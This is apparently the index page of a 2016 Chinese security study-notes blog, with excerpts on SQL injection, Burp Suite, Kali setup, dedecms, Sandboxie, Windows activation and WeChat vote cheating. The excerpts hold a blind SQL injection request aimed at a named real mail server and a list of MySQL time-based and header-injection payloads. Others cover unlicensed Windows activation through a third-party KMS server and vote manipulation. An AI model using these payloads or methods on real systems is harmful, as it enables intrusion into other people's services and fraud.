密码保护：WooYun→lijiejie→漏洞利用方式总结(入侵技术总结)

密码保护：WooYun→lijiejie→漏洞利用方式总结(入侵技术总结)
一、首先是一个JD的漏洞。如下 1 2 3 POST https://mail.jd.com/Erpout/Logon.aspx //页面源码为UTF-8   captcha=test&destination=https://mail.jd.com/owa/&flags=0&forcedownlevel=0&isflag=0&isUtf8=1&maindo=mail.jd.com&showCheck=0&trusted=4&txtPassword=test&txtUser=aaaa'XOR(if(ascii(mid(user(),1,1))=106%2cben...
2016年03月08日 学习笔记 要查看留言请输入您的密码。 喜欢 0 阅读 3,067 views 次 阅读全文

mysql注入常用函数意义意思讲解

mysql注入常用函数意义意思讲解
常用注入语句： if(left(db_name(),1)='d')waitfor/**/dalay/**/'0:0:2'/**/-- or if(length(database())-8,benchmark(4000000,sha1(1)),1) (select(0)from(select(sleep(2)))v) Client-IP: * 注射，。 X-FORWARDED-FOR: * 注射，。 //介绍几个常用函数,都是MYSQL 查询中的使用意义： 1. version()——MySQL版本 2. user()——用户名 3. database()——数据库名 4. @@datadir——...
2016年03月08日 学习笔记 暂无评论 喜欢 0 阅读 4,708 views 次 阅读全文

windows10 所有exe文件无法打开 鼠标右键没有”打开”

windows10 所有exe文件无法打开 鼠标右键没有”打开”
今天在更改某个exe软件标题，我得先啰嗦一下，就是大概我在更改一个软件，主要是为了让软件在运行的时候变名称，例如原来是qq.exe我想让它在进程中改名，变为asdf.exe，结果刚弄完，弄成功了，然后所有的exe文件没有打开选项。所有的exe文件无法打开，用鼠标右键点击exe文件的时候，居然没有“打开”选项。。。 我换个用户就有“打开”选项，基本可以证明是注册表的事了。那么，...
2016年03月08日 学习笔记 暂无评论 喜欢 2 阅读 5,620 views 次 阅读全文

Burp Suite firefox chrome https Diffie-Hellman 解决方法

Burp Suite firefox chrome https Diffie-Hellman 解决方法
服务器的瞬时 Diffie-Hellman 公共密钥过弱 ERR_SSL_WEAK_SERVER_EPHEMERAL_DH_KEY 相信大家无论是用最新的chrome、还是最新的firefox，只要使用BURP SUITE访问HTTPS网站都会出现上述内容。 那这个问题应该怎么解决呢。 下面是我收集的网络上说的解决方法，但是我亲测都不可用!!!不过最下面我会给出亲测可用方法。 --------------------网络收集的方法---------------------...
2016年03月04日 学习笔记 暂无评论 喜欢 0 阅读 6,083 views 次 阅读全文

linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误

linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误
问题已经解决，首先，去本文章把下面的更新源添加进去，然后更新。。 最重要的一个更新源： deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib apt-get update apt-get dist-upgrade # get a coffee, or 10. 然后重启，再然后 apt-get update apt-get install open-vm-tools-desktop fuse 然后再次重启就OK了。。。。。   以上为官网说明：http...
2016年03月02日 学习笔记 评论 3 条 喜欢 2 阅读 15,652 views 次 阅读全文

dedecms5.7整合编辑器kindeditor4.1.10 版本插件 方法

dedecms5.7整合编辑器kindeditor4.1.10 版本插件 方法
首先这里说一下Kindeditor乱码问题，如果遇到乱码，那么说明你的网站是GBK编码，因为Kindeditor默认是UTF-8编码，所以，之需要更改kindeditor-4.1.10\lang\zh_CN.js 这个目录下的这个文件编码即可排除乱码问题。 首先修改dedecms下的这个文件：include/inc/inc_fun_funAdmin.php 添加如下代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28...
2016年02月18日 学习笔记 暂无评论 喜欢 2 阅读 4,503 views 次 阅读全文

win 10 激活方法+WIN 10激活密钥码

win 10 激活方法+WIN 10激活密钥码
slmgr.vbs /upk slmgr /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43 slmgr /skms 110.noip.me slmgr /ato 上面总共是4步。 第一步表示卸载原有激活码。 第二部表示输入密钥。 上面的密钥是企业版的。 第三部表示激活服务器认证。 第四部查看是否激活成功。 Win+R===>输入 slmgr.vbs -dlv 显示：最为详尽的激活信息，包括：激活ID、安装ID、激活截止日期 Win+R===>输入 slmgr...
2016年02月12日 学习笔记 暂无评论 喜欢 1 阅读 5,782 views 次 阅读全文

微信投票作弊超详解(含基础)

微信投票作弊超详解(含基础)
事出有因，前几天朋友朋友的女儿参加了一个活动，这个活动需要投票，然后还需要提交手机号码。我们先看一下活动的投票链接地址，如果对网页数据懂的话，请直接往下拉，看下面，如果不懂，建议好好全文阅读，重点讲的是原理！以下内容建议使用电脑查看。。 http://go0469.com/wxyx/plugin.php?id=tom_weixin_vote&mod=info&vid=2&tid=92 从这段地址，我们可以知道，这个地址...
2016年02月10日 学习笔记 评论 4 条 喜欢 13 阅读 12,257 views 次 阅读全文

去掉沙盘(Sandboxie)提示 “在沙盘中运行” 直接打开

去掉沙盘(Sandboxie)提示 “在沙盘中运行” 直接打开
Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\*\shell\sandbox\command] @="\"C:\\Program Files\\Sandboxie\\Start.exe\" /box:DefaultBox \"%1\" %*" [HKEY_CURRENT_USER\Software\Classes\*\shell\sandbox\command] @="\"C:\\Program Files\\Sandboxie\\Start.exe\" /box:DefaultBox \"%1\" %*" 新建立一个txt文件，把上面的代码保存进去。然后更改一下这...
2016年02月04日 学习笔记 评论 1 条 喜欢 2 阅读 4,997 views 次 阅读全文

密码保护：php post get 模拟登陆OR采集数据代码

密码保护：php post get 模拟登陆OR采集数据代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 11...
2016年02月04日 学习笔记 要查看留言请输入您的密码。 喜欢 0 阅读 2,778 views 次 阅读全文